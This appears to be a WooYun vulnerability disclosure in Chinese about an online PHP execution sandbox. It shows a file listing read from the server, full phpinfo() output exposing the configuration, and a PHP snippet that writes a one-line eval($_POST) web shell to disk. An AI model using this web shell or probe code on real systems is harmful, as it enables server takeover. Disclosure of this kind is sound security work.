sgi-cmsd	17001/udp		# Cluster membership services daemon
sgi-crsd	17002/udp
sgi-gcd		17003/udp			# SGI Group membership daemon
sgi-cad		17004/tcp			# Cluster Admin daemon
isdnlog		20011/tcp			# isdn logging system
isdnlog		20011/udp
vboxd		20012/tcp			# voice box system
vboxd		20012/udp
binkp		24554/tcp			# binkp fidonet protocol
asp		27374/tcp			# Address Search Protocol
asp		27374/udp
csync2		30865/tcp			# cluster synchronization tool
dircproxy	57000/tcp			# Detachable IRC Proxy
tfido		60177/tcp			# fidonet EMSI over telnet
fido		60179/tcp			# fidonet EMSI over TCP
# Local services


PHP运行：

<?php
phpinfo();
?>


2.png


phpinfo()
PHP Version => 5.6.9-0+deb8u1
System => Linux 95e72a3898ed 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64
Build Date => Jun  5 2015 11:02:42
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli
Loaded Configuration File => /etc/php5/cli/php.ini
Scan this dir for additional .ini files => /etc/php5/cli/conf.d
Additional .ini files parsed => /etc/php5/cli/conf.d/05-opcache.ini,
/etc/php5/cli/conf.d/10-pdo.ini,
/etc/php5/cli/conf.d/20-curl.ini,
/etc/php5/cli/conf.d/20-gd.ini,
/etc/php5/cli/conf.d/20-intl.ini,
/etc/php5/cli/conf.d/20-json.ini,
/etc/php5/cli/conf.d/20-mcrypt.ini,
/etc/php5/cli/conf.d/20-mysql.ini,
/etc/php5/cli/conf.d/20-mysqli.ini,
/etc/php5/cli/conf.d/20-pdo_mysql.ini,
/etc/php5/cli/conf.d/20-readline.ini,
/etc/php5/cli/conf.d/20-xsl.ini
PHP API => 20131106
PHP Extension => 20131226
Zend Extension => 220131226
Zend Extension Build => API220131226,NTS
PHP Extension Build => API20131226,NTS
Debug Build => no
Thread Safety => disabled
Zend Signal Handling => disabled
Zend Memory Manager => enabled
Zend Multibyte Support => provided by mbstring
IPv6 Support => enabled
DTrace Support => enabled
Registered PHP Streams => https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports => tcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters => zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, mcrypt.*, mdecrypt.*
This program makes use of the Zend Scripting Language Engine:
Zend Engine v2.6.0, Copyright (c) 1998-2015 Zend Technologies
    with Zend OPcache v7.0.4-dev, Copyright (c) 1999-2015, by Zend Technologies
 _______________________________________________________________________
Configuration
bcmath
BCMath support => enabled
Directive => Local Value => Master Value
bcmath.scale => 0 => 0
bz2
BZip2 Support => Enabled
Stream Wrapper support => compress.bzip2://
Stream Filter support => bzip2.decompress, bzip2.compress
BZip2 Version => 1.0.6, 6-Sept-2010
calendar
Calendar support => enabled
Core
PHP Version => 5.6.9-0+deb8u1
Directive => Local Value => Master Value
allow_url_fopen => On => On
allow_url_include => Off => Off
always_populate_raw_post_data => 0 => 0
arg_separator.input => & => &
arg_separator.output => & => &
asp_tags => Off => Off
auto_append_file => no value => no value
auto_globals_jit => On => On
auto_prepend_file => no value => no value
browscap => no value => no value
default_charset => UTF-8 => UTF-8
default_mimetype => text/html => text/html
disable_classes => no value => no value
disable_functions => no value => no value
display_errors => Off => Off
display_startup_errors => Off => Off
doc_root => no value => no value
docref_ext => no value => no value
docref_root => no value => no value
enable_dl => Off => Off
enable_post_data_reading => On => On
error_append_string => no value => no value
error_log => no value => no value
error_prepend_string => no value => no value
error_reporting => 22527 => 22527
exit_on_timeout => Off => Off
expose_php => On => On
extension_dir => /usr/lib/php5/20131226 => /usr/lib/php5/20131226
file_uploads => On => On
highlight.comment => <font style="color: #FF8000">#FF8000</font> => <font style="color: #FF8000">#FF8000</font>
highlight.default => <font style="color: #0000BB">#0000BB</font> => <font style="color: #0000BB">#0000BB</font>
highlight.html => <font style="color: #000000">#000000</font> => <font style="color: #000000">#000000</font>
highlight.keyword => <font style="color: #007700">#007700</font> => <font style="color: #007700">#007700</font>
highlight.string => <font style="color: #DD0000">#DD0000</font> => <font style="color: #DD0000">#DD0000</font>
html_errors => Off => Off
ignore_repeated_errors => Off => Off
ignore_repeated_source => Off => Off
ignore_user_abort => Off => Off
implicit_flush => On => On
include_path => .:/usr/share/php:/usr/share/pear => .:/usr/share/php:/usr/share/pear
input_encoding => no value => no value
internal_encoding => no value => no value
log_errors => On => On
log_errors_max_len => 1024 => 1024
mail.add_x_header => On => On
mail.force_extra_parameters => no value => no value
mail.log => no value => no value
max_execution_time => 0 => 0
max_file_uploads => 20 => 20
max_input_nesting_level => 64 => 64
max_input_time => -1 => -1
max_input_vars => 1000 => 1000
memory_limit => -1 => -1
open_basedir => no value => no value
output_buffering => 0 => 0
output_encoding => no value => no value
output_handler => no value => no value
post_max_size => 8M => 8M
precision => 14 => 14
realpath_cache_size => 16K => 16K
realpath_cache_ttl => 120 => 120
register_argc_argv => On => On
report_memleaks => On => On
report_zend_debug => Off => Off
request_order => GP => GP
sendmail_from => no value => no value
sendmail_path => /usr/sbin/sendmail -t -i  => /usr/sbin/sendmail -t -i 
serialize_precision => 17 => 17
short_open_tag => Off => Off
SMTP => localhost => localhost
smtp_port => 25 => 25
sql.safe_mode => Off => Off
sys_temp_dir => no value => no value
track_errors => Off => Off
unserialize_callback_func => no value => no value
upload_max_filesize => 2M => 2M
upload_tmp_dir => no value => no value
user_dir => no value => no value
user_ini.cache_ttl => 300 => 300
user_ini.filename => .user.ini => .user.ini
variables_order => GPCS => GPCS
xmlrpc_error_number => 0 => 0
xmlrpc_errors => Off => Off
zend.detect_unicode => On => On
zend.enable_gc => On => On
zend.multibyte => Off => Off
zend.script_encoding => no value => no value
ctype
ctype functions => enabled
curl
cURL support => enabled
cURL Information => 7.38.0
Age => 3
Features
AsynchDNS => Yes
CharConv => No
Debug => No
GSS-Negotiate => No
IDN => Yes
IPv6 => Yes
krb4 => No
Largefile => Yes
libz => Yes
NTLM => Yes
NTLMWB => Yes
SPNEGO => Yes
SSL => Yes
SSPI => No
TLS-SRP => Yes
Protocols => dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtmp, rtsp, scp, sftp, smtp, smtps, telnet, tftp
Host => x86_64-pc-linux-gnu
SSL Version => OpenSSL/1.0.1k
ZLib Version => 1.2.8
libSSH Version => libssh2/1.4.3
date
date/time support => enabled
"Olson" Timezone Database Version => 0.system
Timezone Database => internal
Default timezone => UTC
Directive => Local Value => Master Value
date.default_latitude => 31.7667 => 31.7667
date.default_longitude => 35.2333 => 35.2333
date.sunrise_zenith => 90.583333 => 90.583333
date.sunset_zenith => 90.583333 => 90.583333
date.timezone => no value => no value
dba
DBA support => enabled
libdb header version => Berkeley DB 5.3.28: (September  9, 2013)
libdb library version => Berkeley DB 5.3.28: (September  9, 2013)
Supported handlers => cdb cdb_make db4 inifile flatfile qdbm 
Directive => Local Value => Master Value
dba.default_handler => flatfile => flatfile
dom
DOM/XML => enabled
DOM/XML API Version => 20031129
libxml Version => 2.9.1
HTML Support => enabled
XPath Support => enabled
XPointer Support => enabled
Schema Support => enabled
RelaxNG Support => enabled
ereg
Regex Library => Bundled library enabled
exif
EXIF Support => enabled
EXIF Version => 1.4 $Id: 5504545b9be3379c5244b371d825eb64659eb5f5 $
Supported EXIF Version => 0220
Supported filetypes => JPEG,TIFF
Directive => Local Value => Master Value
exif.decode_jis_intel => JIS => JIS
exif.decode_jis_motorola => JIS => JIS
exif.decode_unicode_intel => UCS-2LE => UCS-2LE
exif.decode_unicode_motorola => UCS-2BE => UCS-2BE
exif.encode_jis => no value => no value
exif.encode_unicode => ISO-8859-15 => ISO-8859-15
fileinfo
fileinfo support => enabled
version => 1.0.5
libmagic => 517
filter
Input Validation and Filtering => enabled
Revision => $Id: 86120bba568c551914a35636ec408f1e7e66af32 $
Directive => Local Value => Master Value
filter.default => unsafe_raw => unsafe_raw
filter.default_flags => no value => no value
ftp
FTP support => enabled
gd
GD Support => enabled
GD headers Version => 2.1.1-dev
FreeType Support => enabled
FreeType Linkage => with freetype
FreeType Version => 2.5.2
GIF Read Support => enabled
GIF Create Support => enabled
JPEG Support => enabled
libJPEG Version => 6b
PNG Support => enabled
libPNG Version => 1.2.50
WBMP Support => enabled
XPM Support => enabled
libXpm Version => 30411
XBM Support => enabled
WebP Support => enabled
Directive => Local Value => Master Value
gd.jpeg_ignore_warning => 0 => 0
gettext
GetText Support => enabled
hash
hash support => enabled
Hashing Engines => md2 md4 md5 sha1 sha224 sha256 sha384 sha512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5 
iconv
iconv support => enabled
iconv implementation => glibc
iconv library version => 2.19
Directive => Local Value => Master Value
iconv.input_encoding => no value => no value
iconv.internal_encoding => no value => no value
iconv.output_encoding => no value => no value
intl
Internationalization support => enabled
version => 1.1.0
ICU version => 52.1
ICU Data version => 52.1
Directive => Local Value => Master Value
intl.default_locale => no value => no value
intl.error_level => 0 => 0
intl.use_exceptions => 0 => 0
json
json support => enabled
json version => 1.3.6
JSON-C headers version => 0.11.99
JSON-C library version => 0.11.99
libxml
libXML support => active
libXML Compiled Version => 2.9.1
libXML Loaded Version => 20901
libXML streams => enabled
mbstring
Multibyte Support => enabled
Multibyte string engine => libmbfl
HTTP input encoding translation => disabled
libmbfl version => 1.3.2
mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.
Multibyte (japanese) regex support => enabled
Multibyte regex (oniguruma) version => 5.9.5
Directive => Local Value => Master Value
mbstring.detect_order => no value => no value
mbstring.encoding_translation => Off => Off
mbstring.func_overload => 0 => 0
mbstring.http_input => no value => no value
mbstring.http_output => no value => no value
mbstring.http_output_conv_mimetypes => ^(text/|application/xhtml\+xml) => ^(text/|application/xhtml\+xml)
mbstring.internal_encoding => no value => no value
mbstring.language => neutral => neutral
mbstring.strict_detection => Off => Off
mbstring.substitute_character => no value => no value
mcrypt
mcrypt support => enabled
mcrypt_filter support => enabled
Version => 2.5.8
Api No => 20021217
Supported ciphers => cast-128 gost rijndael-128 twofish arcfour cast-256 loki97 rijndael-192 saferplus wake blowfish-compat des rijndael-256 serpent xtea blowfish enigma rc2 tripledes 
Supported modes => cbc cfb ctr ecb ncfb nofb ofb stream 
Directive => Local Value => Master Value
mcrypt.algorithms_dir => no value => no value
mcrypt.modes_dir => no value => no value
mhash
MHASH support => Enabled
MHASH API Version => Emulated Support
mysql
MySQL Support => enabled
Active Persistent Links => 0
Active Links => 0
Client API version => 5.5.43
MYSQL_MODULE_TYPE => external
MYSQL_SOCKET => /var/run/mysqld/mysqld.sock
MYSQL_INCLUDE => -I/usr/include/mysql
MYSQL_LIBS => -L/usr/lib/x86_64-linux-gnu -lmysqlclient_r 
Directive => Local Value => Master Value
mysql.allow_local_infile => On => On
mysql.allow_persistent => On => On
mysql.connect_timeout => 60 => 60
mysql.default_host => no value => no value
mysql.default_password => no value => no value
mysql.default_port => no value => no value
mysql.default_socket => /var/run/mysqld/mysqld.sock => /var/run/mysqld/mysqld.sock
mysql.default_user => no value => no value
mysql.max_links => Unlimited => Unlimited
mysql.max_persistent => Unlimited => Unlimited
mysql.trace_mode => Off => Off
mysqli
MysqlI Support => enabled
Client API library version => 5.5.43
Active Persistent Links => 0
Inactive Persistent Links => 0
Active Links => 0
Client API header version => 5.5.42
MYSQLI_SOCKET => /var/run/mysqld/mysqld.sock
Directive => Local Value => Master Value
mysqli.allow_local_infile => On => On
mysqli.allow_persistent => On => On
mysqli.default_host => no value => no value
mysqli.default_port => 3306 => 3306
mysqli.default_pw => no value => no value
mysqli.default_socket => /var/run/mysqld/mysqld.sock => /var/run/mysqld/mysqld.sock
mysqli.default_user => no value => no value
mysqli.max_links => Unlimited => Unlimited
mysqli.max_persistent => Unlimited => Unlimited
mysqli.reconnect => Off => Off
mysqli.rollback_on_cached_plink => Off => Off
openssl
OpenSSL support => enabled
OpenSSL Library Version => OpenSSL 1.0.1k 8 Jan 2015
OpenSSL Header Version => OpenSSL 1.0.1k 8 Jan 2015
Directive => Local Value => Master Value
openssl.cafile => no value => no value
openssl.capath => no value => no value
pcntl
pcntl support => enabled
pcre
PCRE (Perl Compatible Regular Expressions) Support => enabled
PCRE Library Version => 8.35 2014-04-04
Directive => Local Value => Master Value
pcre.backtrack_limit => 1000000 => 1000000
pcre.recursion_limit => 100000 => 100000
PDO
PDO support => enabled
PDO drivers => mysql
pdo_mysql
PDO Driver for MySQL => enabled
Client API version => 5.5.43
Directive => Local Value => Master Value
pdo_mysql.default_socket => /var/run/mysqld/mysqld.sock => /var/run/mysqld/mysqld.sock
Phar
Phar: PHP Archive support => enabled
Phar EXT version => 2.0.2
Phar API version => 1.1.1
SVN revision => $Id: a861a034647a6e80ebad0851e018adee293647fb $
Phar-based phar archives => enabled
Tar-based phar archives => enabled
ZIP-based phar archives => enabled
gzip compression => enabled
bzip2 compression => enabled
OpenSSL support => enabled
Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
Directive => Local Value => Master Value
phar.cache_list => no value => no value
phar.readonly => On => On
phar.require_hash => On => On
posix
Revision => $Id: 5d20de77687b7d961b15450873fa23b9e64a136a $
readline
Readline Support => enabled
Readline library => EditLine wrapper
Directive => Local Value => Master Value
cli.pager => no value => no value
cli.prompt => \b \>  => \b \> 
Reflection
Reflection => enabled
Version => $Id: eff8bdc65b0beaf8f4ade6f06f848e6d43dfd826 $
session
Session Support => enabled
Registered save handlers => files user 
Registered serializer handlers => php_serialize php php_binary wddx 
Directive => Local Value => Master Value
session.auto_start => Off => Off
session.cache_expire => 180 => 180
session.cache_limiter => nocache => nocache
session.cookie_domain => no value => no value
session.cookie_httponly => Off => Off
session.cookie_lifetime => 0 => 0
session.cookie_path => / => /
session.cookie_secure => Off => Off
session.entropy_file => /dev/urandom => /dev/urandom
session.entropy_length => 32 => 32
session.gc_divisor => 1000 => 1000
session.gc_maxlifetime => 1440 => 1440
session.gc_probability => 0 => 0
session.hash_bits_per_character => 5 => 5
session.hash_function => 0 => 0
session.name => PHPSESSID => PHPSESSID
session.referer_check => no value => no value
session.save_handler => files => files
session.save_path => /var/lib/php5/sessions => /var/lib/php5/sessions
session.serialize_handler => php => php
session.upload_progress.cleanup => On => On
session.upload_progress.enabled => On => On
session.upload_progress.freq => 1% => 1%
session.upload_progress.min_freq => 1 => 1
session.upload_progress.name => PHP_SESSION_UPLOAD_PROGRESS => PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix => upload_progress_ => upload_progress_
session.use_cookies => On => On
session.use_only_cookies => On => On
session.use_strict_mode => Off => Off
session.use_trans_sid => 0 => 0
shmop
shmop support => enabled
SimpleXML
Simplexml support => enabled
Revision => $Id: e0de6ee7ef8280a12d77d76f1f971a944cbc8090 $
Schema support => enabled
soap
Soap Client => enabled
Soap Server => enabled
Directive => Local Value => Master Value
soap.wsdl_cache => 1 => 1
soap.wsdl_cache_dir => /tmp => /tmp
soap.wsdl_cache_enabled => 1 => 1
soap.wsdl_cache_limit => 5 => 5
soap.wsdl_cache_ttl => 86400 => 86400
sockets
Sockets Support => enabled
SPL
SPL support => enabled
Interfaces => Countable, OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes => AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
standard
Dynamic Library Support => enabled
Path to sendmail => /usr/sbin/sendmail -t -i 
Directive => Local Value => Master Value
assert.active => 1 => 1
assert.bail => 0 => 0
assert.callback => no value => no value
assert.quiet_eval => 0 => 0
assert.warning => 1 => 1
auto_detect_line_endings => 0 => 0
default_socket_timeout => 60 => 60
from => no value => no value
url_rewriter.tags => a=href,area=href,frame=src,input=src,form=fakeentry => a=href,area=href,frame=src,input=src,form=fakeentry
user_agent => no value => no value
sysvmsg
sysvmsg support => enabled
Revision => $Id: 1e821e8a0cbb868efec453560ba303e04f3a1db2 $
tokenizer
Tokenizer Support => enabled
wddx
WDDX Support => enabled
WDDX Session Serializer => enabled
xml
XML Support => active
XML Namespace Support => active
libxml2 Version => 2.9.1
xmlreader
XMLReader => enabled
xmlwriter
XMLWriter => enabled
xsl
XSL => enabled
libxslt Version => 1.1.28
libxslt compiled against libxml Version => 2.9.2
EXSLT => enabled
libexslt Version => 1.1.28
Zend OPcache
Opcode Caching => Disabled
Optimization => Disabled
Startup Failed => Opcode Caching is disabled for CLI
Directive => Local Value => Master Value
opcache.blacklist_filename => no value => no value
opcache.consistency_checks => 0 => 0
opcache.dups_fix => Off => Off
opcache.enable => On => On
opcache.enable_cli => Off => Off
opcache.enable_file_override => Off => Off
opcache.error_log => no value => no value
opcache.fast_shutdown => 0 => 0
opcache.file_update_protection => 2 => 2
opcache.force_restart_timeout => 180 => 180
opcache.inherited_hack => On => On
opcache.interned_strings_buffer => 4 => 4
opcache.load_comments => 1 => 1
opcache.log_verbosity_level => 1 => 1
opcache.max_accelerated_files => 2000 => 2000
opcache.max_file_size => 0 => 0
opcache.max_wasted_percentage => 5 => 5
opcache.memory_consumption => 64 => 64
opcache.optimization_level => 0xFFFFFFFF => 0xFFFFFFFF
opcache.preferred_memory_model => no value => no value
opcache.protect_memory => 0 => 0
opcache.restrict_api => no value => no value
opcache.revalidate_freq => 2 => 2
opcache.revalidate_path => Off => Off
opcache.save_comments => 1 => 1
opcache.use_cwd => On => On
opcache.validate_timestamps => On => On
zip
Zip => enabled
Extension Version => $Id: f9f12af1274212b9f22867472e4aa57eab4bb4cf $
Zip version => 1.12.5
Libzip version => 0.11.2
zlib
ZLib Support => enabled
Stream Wrapper => compress.zlib://
Stream Filter => zlib.inflate, zlib.deflate
Compiled Version => 1.2.8
Linked Version => 1.2.8
Directive => Local Value => Master Value
zlib.output_compression => Off => Off
zlib.output_compression_level => -1 => -1
zlib.output_handler => no value => no value
Additional Modules
Module Name
sysvsem
sysvshm
Environment
Variable => Value
HOSTNAME => 95e72a3898ed
TERM => xterm
PATH => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD => /tmp/eff63297-fa4b-4137-9f18-cbaf250dfc63
LANG => C.UTF-8
SHLVL => 1
HOME => /root
OLDPWD => /tmp/dexec/build
_ => /usr/bin/php
PHP Variables
Variable => Value
_SERVER["HOSTNAME"] => 95e72a3898ed
_SERVER["TERM"] => xterm
_SERVER["PATH"] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_SERVER["PWD"] => /tmp/eff63297-fa4b-4137-9f18-cbaf250dfc63
_SERVER["LANG"] => C.UTF-8
_SERVER["SHLVL"] => 1
_SERVER["HOME"] => /root
_SERVER["OLDPWD"] => /tmp/dexec/build
_SERVER["_"] => /usr/bin/php
_SERVER["PHP_SELF"] => code
_SERVER["SCRIPT_NAME"] => code
_SERVER["SCRIPT_FILENAME"] => code
_SERVER["PATH_TRANSLATED"] => code
_SERVER["DOCUMENT_ROOT"] => 
_SERVER["REQUEST_TIME_FLOAT"] => 1449407212.3096
_SERVER["REQUEST_TIME"] => 1449407212
_SERVER["argv"] => Array
(
    [0] => code
)
_SERVER["argc"] => 1
PHP License
This program is free software; you can redistribute it and/or modify
it under the terms of the PHP License as published by the PHP Group
and included in the distribution in the file:  LICENSE
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
If you did not receive a copy of the PHP license, or have any
questions about PHP licensing, please contact license@php.net.


并且可以写入文件，无奈水平有限，不知道路径是什么：

<?php 
$counter_file = 'aa.php';
$fopen = fopen($counter_file,'wb');
fputs($fopen,'<?php eval($_POST[wooyun])?>');
fclose($fopen); 
?>


漏洞证明：

如上

修复方案：

权限设置

版权声明：转载请注明来源 岛云首席鉴黄师@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝